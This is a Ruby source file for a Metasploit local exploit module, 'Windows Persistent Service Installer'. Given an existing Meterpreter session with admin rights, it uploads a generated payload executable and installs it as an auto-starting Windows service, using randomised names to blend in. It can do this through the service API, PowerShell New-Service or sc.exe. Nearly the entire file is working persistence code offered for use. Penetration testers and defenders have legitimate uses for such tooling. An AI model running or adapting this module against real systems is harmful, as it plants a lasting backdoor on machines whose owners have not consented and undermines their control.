169 lines
6.7 KiB
Ruby
169 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Post::Windows::Services
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Post::Windows::Powershell
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Local::Persistence
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Deprecated
|
|
moved_from 'exploits/windows/local/persistence_service'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Persistent Service Installer',
|
|
'Description' => %q{
|
|
This Module will generate and upload an executable to a remote host.
|
|
It will create a new service which will start the payload whenever the service is running. Admin or system
|
|
privilege is required.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Green-m <greenm.xxoo[at]gmail.com>', # original module
|
|
'h00die' # persistence updates
|
|
],
|
|
'Platform' => [ 'windows' ],
|
|
'Targets' => [['Windows', {}]],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Privileged' => true,
|
|
'DefaultTarget' => 0,
|
|
'References' => [
|
|
['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'],
|
|
['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'],
|
|
['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],
|
|
['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION]
|
|
],
|
|
'DisclosureDate' => '2018-10-20',
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start
|
|
},
|
|
'Notes' => {
|
|
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
|
|
OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
|
|
OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']),
|
|
OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]),
|
|
OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def writable_dir
|
|
d = super
|
|
return session.sys.config.getenv(d) if d.start_with?('%')
|
|
|
|
d
|
|
end
|
|
|
|
def check
|
|
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
|
|
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
|
|
|
|
return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin?
|
|
|
|
CheckCode::Appears('Likely exploitable')
|
|
end
|
|
|
|
def install_persistence
|
|
fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin?
|
|
|
|
rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8)
|
|
@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12)
|
|
@service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8)
|
|
@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12)
|
|
|
|
rexename << '.exe' unless rexename.end_with?('.exe')
|
|
|
|
vprint_status('Compiling payload')
|
|
@dest_pathname = writable_dir + '\\' + rexename
|
|
exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })
|
|
write_file(@dest_pathname, exe)
|
|
print_good("Payload written to #{@dest_pathname}")
|
|
|
|
success = false
|
|
if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto'
|
|
vprint_status('Attempting API method')
|
|
success = api_service
|
|
end
|
|
if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell?
|
|
vprint_status('Attempting Powershell method')
|
|
success = powershell_service
|
|
end
|
|
if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success
|
|
vprint_status('Attempting sc.exe method')
|
|
sc_service
|
|
end
|
|
|
|
@clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n"
|
|
@clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"
|
|
@clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n"
|
|
end
|
|
|
|
def powershell_service
|
|
vprint_status("Install service: #{@service_dname} (#{@service_name})")
|
|
service_builder = "New-Service -Name '#{@service_name}' "
|
|
service_builder << "-DisplayName '#{@service_dname}' "
|
|
service_builder << "-Description '#{@service_description}' "
|
|
service_builder << "-BinaryPathName '#{@dest_pathname}' "
|
|
service_builder << '-StartupType Automatic'
|
|
resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")
|
|
return false if resp.include?('Access is denied')
|
|
return false unless resp.include?('Stopped')
|
|
|
|
vprint_status("Service install response: #{resp}")
|
|
vprint_status('Starting service')
|
|
resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")
|
|
vprint_status("Service start response: #{resp}")
|
|
true
|
|
end
|
|
|
|
def sc_service
|
|
vprint_status("Install service: #{@service_dname} (#{@service_name})")
|
|
sc_cmd = "sc.exe create #{@service_name} "
|
|
sc_cmd << "binPath= \"#{@dest_pathname}\" "
|
|
sc_cmd << 'start= auto '
|
|
sc_cmd << "DisplayName= \"#{@service_dname}\""
|
|
resp = cmd_exec(sc_cmd)
|
|
return false if resp.include?('FAILED')
|
|
|
|
vprint_status("Service install response: #{resp}")
|
|
vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\""))
|
|
vprint_status('Starting service')
|
|
resp = cmd_exec("sc.exe start \"#{@service_name}\"")
|
|
vprint_status("Service start response: #{resp}")
|
|
true
|
|
end
|
|
|
|
def api_service
|
|
vprint_status("Install service: #{@service_dname} (#{@service_name})")
|
|
resp = service_create(@service_name,
|
|
{
|
|
display: @service_dname,
|
|
path: @dest_pathname
|
|
})
|
|
return false unless resp == 0
|
|
|
|
vprint_status("Service install code: #{resp}")
|
|
vprint_status('Starting service')
|
|
vprint_status("Service start code: #{service_start(@service_name)}")
|
|
true
|
|
end
|
|
end
|